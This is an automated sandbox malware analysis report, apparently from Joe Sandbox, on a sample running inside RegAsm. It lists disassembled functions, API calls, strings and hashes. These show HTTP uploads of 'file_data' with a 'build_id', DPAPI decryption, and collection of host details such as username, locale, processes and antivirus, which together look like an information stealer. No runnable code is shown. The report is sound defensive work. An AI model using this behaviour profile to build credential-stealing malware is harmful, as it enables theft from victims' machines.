HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404301
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404359
InternetCloseHandle.WININET(00000000), ref: 0040438B
InternetCloseHandle.WININET(?), ref: 00404394
InternetCloseHandle.WININET(?), ref: 0040439D

Strings

GET, xrefs: 004042AC

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologHeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 1687531150-1805413626
Opcode ID: 0b61ded6ca21000fec9273c9a3df7f69038a3abe7a4d9426c07ea5c307e3bc6c
Instruction ID: 37e224c1a08062f93ec5ae7f373094c4e3bdef2c7412259edf85ae2320be00ed
Opcode Fuzzy Hash: 0b61ded6ca21000fec9273c9a3df7f69038a3abe7a4d9426c07ea5c307e3bc6c
Instruction Fuzzy Hash: 89515EB2900219AFDB10DFE0CD85EEFBBBDEB49744F00512AFA01B6190D7745E448B65

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A4CF0 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 461
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,-00000003,04000102,00000000), ref: 1B4A4EE1

Strings

psow, xrefs: 1B4A51F5
exclusive, xrefs: 1B4A4E81
delayed %dms for lock/sharing conflict at line %d, xrefs: 1B4A4FB5
winOpen, xrefs: 1B4A5110

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 823142352-3829269058
Opcode ID: b9fa8a1d3a11fd8627738a9737d6f3af24fd759ad8a35edf662cd4db341e5ea8
Instruction ID: 8292b1eb1ed142b7558aef8602d3d9511895646fdd002ef7f8cb770271e1f32f
Opcode Fuzzy Hash: b9fa8a1d3a11fd8627738a9737d6f3af24fd759ad8a35edf662cd4db341e5ea8
Instruction Fuzzy Hash: 92F1BF719043119BEB188F34D985BAF77E8BBA8315F00892DFDCAD6281D735D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECD4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040ECD9

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

GetKeyboardLayoutList.USER32(00000000,00000000,004251F7,00000000,?,00000000), ref: 0040ED0B
LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040ED19
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040ED24
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040ED4E

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

LocalFree.KERNEL32(?), ref: 0040EDF2

Strings

/ , xrefs: 0040ED5C

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prologKeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 2868853201-4001269591
Opcode ID: f86d6cc1372bb5890f5c10c94293cb2d0650925ee5e8fd924d0eb1fd141a9395
Instruction ID: 0fc2b7e35f4d6114d8ae3e9005ea3697fa52aa721323e90e6314f7b8594f7607
Opcode Fuzzy Hash: f86d6cc1372bb5890f5c10c94293cb2d0650925ee5e8fd924d0eb1fd141a9395
Instruction Fuzzy Hash: 86311CB5901219EFDB00EFE6C985AEEBBB9FF48304F10446EE505B3281C7785A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 7.6, APIs: 5, Instructions: 70processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F315

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F350
Process32First.KERNEL32(00000000,00000128), ref: 0040F361
Process32Next.KERNEL32(?,00000128), ref: 0040F3C9
CloseHandle.KERNEL32(?,?,00000000), ref: 0040F3D6

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 599723951-0
Opcode ID: 4f43f0c7911a1154bfe646faa6a16fe23ed6cdbbcadd1926e04f810d2c196b28
Instruction ID: c4fd9f573cf2a468e9983291a0c5dbd1645898d3a40b29cc7e5dd950d5d90eba
Opcode Fuzzy Hash: 4f43f0c7911a1154bfe646faa6a16fe23ed6cdbbcadd1926e04f810d2c196b28
Instruction Fuzzy Hash: 6A213EB1A00118EBCB00EFA6C955AEEBBB9BF58304F00447FE405F3291D7784A08CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040F711 Relevance: 7.6, APIs: 5, Instructions: 62commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00426FE8,00000000,00000001,004253C8,00000000,?), ref: 0040F731
SysAllocString.OLEAUT32(00000000), ref: 0040F73F
_wtoi64.MSVCRT ref: 0040F781
SysFreeString.OLEAUT32(?), ref: 0040F796
SysFreeString.OLEAUT32(00000000), ref: 0040F799

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: d3a1f175e1685076b102b1b7f0775a54b8c020bb750b008cfe05fffd5a1c668d
Instruction ID: 59552c5b9146f1189dd7842dde150404ed07699bec92d6bc658d66da47dd67c6
Opcode Fuzzy Hash: d3a1f175e1685076b102b1b7f0775a54b8c020bb750b008cfe05fffd5a1c668d
Instruction Fuzzy Hash: AB11AF34A04208BFCB10CBA4D848B9E7FB9EF85314F1480B9E804EB290C7759546CB15

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC81 Relevance: 6.0, APIs: 4, Instructions: 29memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ), ref: 0040EC92
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040EC99
GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040ECA8
wsprintfA.USER32 ref: 0040ECC6

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 2e3287ed3af1feb30af53c9b9c4d426c3fa5f1ee3efbb3855964d411817bbda9
Instruction ID: a36628a7c2d58b2f6a8fbbc7f1c23b5bd7a7466cb534b9c72913de06598764ad
Opcode Fuzzy Hash: 2e3287ed3af1feb30af53c9b9c4d426c3fa5f1ee3efbb3855964d411817bbda9
Instruction Fuzzy Hash: BEE09271700230BBEB1067A9AC0EF8A7B6E9B06725F101662FA15E31D0E6B499148AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EE70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 0040EE7D
wsprintfA.USER32 ref: 0040EE92

Strings

DUB, xrefs: 0040EE83

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID: DUB
API String ID: 2452939696-3620500899
Opcode ID: f6e27eb2a33337cf3594586a856b9315638d2e8638b889aa71f851cdbe3e74fd
Instruction ID: 4cadcbb925f775794939d2490a6db27fd60e4d7a882d9f66ecbf72fabee37ffb
Opcode Fuzzy Hash: f6e27eb2a33337cf3594586a856b9315638d2e8638b889aa71f851cdbe3e74fd
Instruction Fuzzy Hash: A4D017B180011DDBCB10EBA0EC89A8977BCAB04208F4041A1AB04F2091E275A61E8FE9

Uniqueness

Uniqueness Score: -1.00%

Function 004062F1 Relevance: 4.5, APIs: 3, Instructions: 46memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00406314
LocalAlloc.KERNEL32(00000040,?,?), ref: 0040632C
LocalFree.KERNEL32(?), ref: 0040634A

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 764823c9ac877a078db8b65e299d83a800fd2afde2d0122a90243e7b0723ba22
Instruction ID: c926f34c3fbc87d748c7763df8edb6c6524eb852c1bfaf8c96440898ae8a6f24
Opcode Fuzzy Hash: 764823c9ac877a078db8b65e299d83a800fd2afde2d0122a90243e7b0723ba22
Instruction Fuzzy Hash: 0001FBBAA00218AFDB11DFE8DD8499EBBB9FF49604B100466FA11E7250D3759950CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBBA Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,0041623D,00425507), ref: 0040EBC6
HeapAlloc.KERNEL32(00000000,?,?,?,0041623D,00425507), ref: 0040EBCD
GetUserNameA.ADVAPI32(00000000,?), ref: 0040EBE1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 0fa6ae392cc66e0cae7273ce4a9161921302afa9a250ccfc8718fdd7b5d88d34
Instruction ID: 41e13f3a823caf445703abcc8250ee773d697eaa9bb257bd13c4625bfa932f23
Opcode Fuzzy Hash: 0fa6ae392cc66e0cae7273ce4a9161921302afa9a250ccfc8718fdd7b5d88d34
Instruction Fuzzy Hash: 13D05BB9700148FBD7105795DD0DE9AB7BCD794755F400065FA01D2160D9F099458634

Uniqueness

Uniqueness Score: -1.00%

Function 004043CF Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 771
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004043D4

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

lstrlenA.KERNEL32(00000000), ref: 00404443

Part of subcall function 0040FD97: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 0040FDBB
Part of subcall function 0040FD97: GetProcessHeap.KERNEL32(00000000,?,?,00404437,?,?,?,?,?,?), ref: 0040FDC8
Part of subcall function 0040FD97: HeapAlloc.KERNEL32(00000000,?,00404437,?,?,?,?,?,?), ref: 0040FDCF

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

StrCmpCA.SHLWAPI(?,004249DF,004249DB,004249D3,004249CF,004249CE), ref: 004044C6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044E6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040460B
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00404645
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404669

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,00000000,?,00424A98,00000000,?,?,00000000), ref: 00404B79
lstrlenA.KERNEL32(00000000), ref: 00404B8B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404B9D
HeapAlloc.KERNEL32(00000000), ref: 00404BA4
lstrlenA.KERNEL32(00000000), ref: 00404BB6
memcpy.MSVCRT ref: 00404BC9
lstrlenA.KERNEL32(00000000,?,?), ref: 00404BE0
memcpy.MSVCRT ref: 00404BEA
lstrlenA.KERNEL32(00000000), ref: 00404BFB
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404C14
memcpy.MSVCRT ref: 00404C21
lstrlenA.KERNEL32(00000000,?,00000000), ref: 00404C36
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404C47
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404C6E
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404CF0
StrCmpCA.SHLWAPI(00000000,block), ref: 00404D08
ExitProcess.KERNEL32 ref: 00404D13
InternetCloseHandle.WININET(?), ref: 00404D23

Strings

--, xrefs: 00404566
file_data, xrefs: 00404B1C
------, xrefs: 00404925
build_id, xrefs: 00404867
", xrefs: 00404891
------, xrefs: 0040466F
block, xrefs: 00404CFA
ERROR, xrefs: 00404C7B
------, xrefs: 00404A74
ERROR, xrefs: 00404DF2
", xrefs: 004049F8
------, xrefs: 0040453F
", xrefs: 00404742
0, xrefs: 00404CCE
------, xrefs: 004047BF
", xrefs: 00404B46

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$H_prologHeap$HttpProcessmemcpy$AllocOpenRequestlstrcat$BinaryCloseConnectCrackCryptExitFileHandleInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$0$ERROR$ERROR$block$build_id$file_data
API String ID: 2658035217-3618031631
Opcode ID: 74230ea3418a17fe7acd45192ab923381b60e63671642810837e76700d48b455
Instruction ID: 83ec78a3498141f7689482851a51ba72a7f8a481cb099c92ac8b0ea39d2d89c8
Opcode Fuzzy Hash: 74230ea3418a17fe7acd45192ab923381b60e63671642810837e76700d48b455
Instruction Fuzzy Hash: DA6242B1800148EADB05EBE2C956EEEBBB8AF19304F1444AFE541731C2DB785B18DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00405183 Relevance: 54.9, APIs: 21, Strings: 10, Instructions: 647
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00405188

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405233
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004053D2
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00405409
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,00000000,?,00424B20,00000000), ref: 00405818
lstrlenA.KERNEL32(00000000), ref: 00405829
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405833
HeapAlloc.KERNEL32(00000000), ref: 0040583A
lstrlenA.KERNEL32(00000000), ref: 0040584B
memcpy.MSVCRT ref: 0040585C
lstrlenA.KERNEL32(00000000), ref: 0040586D
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405886
memcpy.MSVCRT ref: 0040588F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004058A2
HttpSendRequestA.WININET(?,00000000,00000000), ref: 004058B6
InternetReadFile.WININET(?,?,000000C7,?), ref: 0040590A
InternetCloseHandle.WININET(?), ref: 00405915
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040542E

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

InternetCloseHandle.WININET(?), ref: 0040591E
InternetCloseHandle.WININET(?), ref: 00405927
StrCmpCA.SHLWAPI(?), ref: 0040524A

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Strings

build_id, xrefs: 0040562C
), xrefs: 00405969
", xrefs: 00405507
", xrefs: 00405656
mode, xrefs: 00405792
------, xrefs: 00405434
------, xrefs: 004052CC
------, xrefs: 004056EA
------, xrefs: 00405584
", xrefs: 004057BC

Memory Dump Source

